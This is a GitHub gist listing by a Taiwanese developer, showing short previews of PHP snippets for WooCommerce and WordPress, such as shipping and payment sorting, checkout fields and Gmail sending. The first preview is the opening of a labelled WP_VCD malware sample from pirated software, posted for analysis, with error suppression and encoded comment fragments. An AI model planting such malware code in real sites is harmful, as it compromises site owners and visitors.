Skip to content

Instantly share code, notes, and snippets.

🇹🇼
寫 code 不一定會幫你賺到錢,但會寫 code 能生活的有意思點。

莫小屁 nczz

🇹🇼
寫 code 不一定會幫你賺到錢,但會寫 code 能生活的有意思點。
Block or report user

Report or block nczz

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@nczz
nczz / class.plugin-modules.php
Last active Oct 22, 2019
WP_VCD SAMPLE CODE 盜版軟體夾藏的病毒碼 | [WordPress] WP_VCD 盜版軟體病毒解析 > https://www.mxp.tw/8714/
View class.plugin-modules.php
<?php
//install_code1
error_reporting(0);
ini_set('display_errors', 0);
//dhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJW
DEFINE('MAX_LEVEL', 2);
//bGF5X2Vycm9ycycsIDApOwovLzJoa
DEFINE('MAX_ITERATION', 50);
//NuYm1WM1pHOXRZV2x1SjEwcEt
@nczz
nczz / mxp_checkout_fields_modify_base_on_shipping_method.php
Created Sep 3, 2019
[WooCommerce] 根據選擇運送方式修改結帳欄位的方法 https://www.mxp.tw/8640/
View mxp_checkout_fields_modify_base_on_shipping_method.php
<?php
function mxp_hidden_checkout_fields_base_on_shipping_method($value) {
// 判斷當前選擇到的運送方式
$chosen_methods = WC()->session->get('chosen_shipping_methods');
$chosen_shipping = current(explode(':', $chosen_methods[0]));
if ($chosen_shipping == 'local_pickup') {
$fields = WC()->checkout->get_checkout_fields('billing');
$html = "";
foreach ($fields as $key => $field) {
$field['return'] = true;
@nczz
nczz / google_gmail_api_with_phpmailer.php
Last active Aug 26, 2019
使用 PHPMailer 解決輸出 MIME 格式的問題 https://www.mxp.tw/8635/
View google_gmail_api_with_phpmailer.php
<?php
$service = new Google_Service_Gmail($client);
try {
$mail = new PHPMailer();
$mail->CharSet = "UTF-8";
$mail->From = "發信端信箱";
$mail->FromName = "發信端別名";
$mail->AddAddress("收信端信箱", "收信端別名");
$mail->AddReplyTo("回信端信箱", "回信端別名");
$mail->Subject = "信件主題";
View show_shipping_calculator_on_checkout_page.php
<?php
function action_woocommerce_before_checkout_form($wccm_autocreate_account) {
wc_cart_totals_shipping_html();
woocommerce_shipping_calculator('選取運送方式');
};
add_action('woocommerce_before_checkout_form', 'action_woocommerce_before_checkout_form', 10, 1);
function woocommerce_shipping_calculator_scripts() {
if (is_checkout()) {
if (wp_script_is('wc-cart', 'registered') && !wp_script_is('wc-cart', 'enqueued')) {
@nczz
nczz / woocommerce_orders_shortcode.php
Created Jun 27, 2019
[WooCommerce] 顯示訂單資訊的短碼(Shortcode) https://www.mxp.tw/8545/
View woocommerce_orders_shortcode.php
<?php
function woocommerce_orders() {
$user_id = get_current_user_id();
if ($user_id == 0) {
//沒登入就呼叫用戶後台的標準短碼
return do_shortcode('[woocommerce_my_account]');
} else {
ob_start();
//登入的用戶就撈 orders 的樣板來顯示訂單資料
wc_get_template('myaccount/my-orders.php', array(
@nczz
nczz / show_ga_pageviews_ext.php
Created Jun 23, 2019
[WordPress] 從 Google Analytics 匯入網站人氣的外掛組合技 https://www.mxp.tw/8529/
View show_ga_pageviews_ext.php
<?php
if (function_exists('gapp_options')) {
function gapp_get_total_pageviews($format = true) {
$options = gapp_options();
if (empty($options['gapp_token'])) {
//還沒授權過就先回傳預設值
return $options['gapp_defaultval'];
}
//起始日
$startDate = $options['gapp_startdate'];
@nczz
nczz / mxp_woocommerce_payment_gateways.php
Last active Jun 17, 2019
[WooCommerce] 付款方法項目的排序控制(訂單滿額、變更順序) https://www.mxp.tw/8513/
View mxp_woocommerce_payment_gateways.php
<?php
//較早觸發、無法改變付款方式順序
function mxp_woocommerce_payment_gateways($payment_gateways) {
// 判斷付款方式的 Class 名稱後根據邏輯比對取消註冊
foreach ($payment_gateways as $key => $gateways) {
if ($gateways == "WC_Gateway_COD") {
unset($payment_gateways[$key]);
}
}
return $payment_gateways;
@nczz
nczz / mxp_sort_shipping_methods_order.php
Created Jun 14, 2019
[WooCommerce] 運送方法項目的排序控制(指定順序)
View mxp_sort_shipping_methods_order.php
function mxp_sort_shipping_methods_order($available_shipping_methods, $package) {
if (!$available_shipping_methods) {
return;
}
// 運送方式,檢視 radio 元素,找到的 value 值
$sort_order = array(
'flat_rate:1' => null,
'some_other_shipping_method_slug:3' => null,
'flat_rate:2' => null,
);
@nczz
nczz / mxp_sort_shipping_services_by_cost.php
Created Jun 14, 2019
[WooCommerce] 運送方法項目的排序控制(由運費高低排序)
View mxp_sort_shipping_services_by_cost.php
<?php
function mxp_sort_shipping_services_by_cost($available_shipping_methods, $package) {
if (!$available_shipping_methods) {
return;
}
$rate_cost_set = array();
// 抽出運費多寡
foreach ($available_shipping_methods as $rate) {
$rate_cost_set[] = $rate->cost;
}
@nczz
nczz / wc_session_save_checkout_fields_data.php
Created Jun 14, 2019
用 WC_Session 紀錄結帳欄位資料與 WooCommerce 片段程式互動設計
View wc_session_save_checkout_fields_data.php
<?php
function save_data_before_open_new_page($value) {
$data = $_POST['post_data'];
parse_str(html_entity_decode($data), $pdata);
if (isset($pdata['billing_first_name']) && $pdata['billing_first_name'] != "") {
WC()->session->set('billing_first_name', $pdata['billing_first_name']);
}
if (isset($pdata['billing_phone']) && $pdata['billing_phone'] != "") {
WC()->session->set('billing_phone', $pdata['billing_phone']);
}
You can’t perform that action at this time.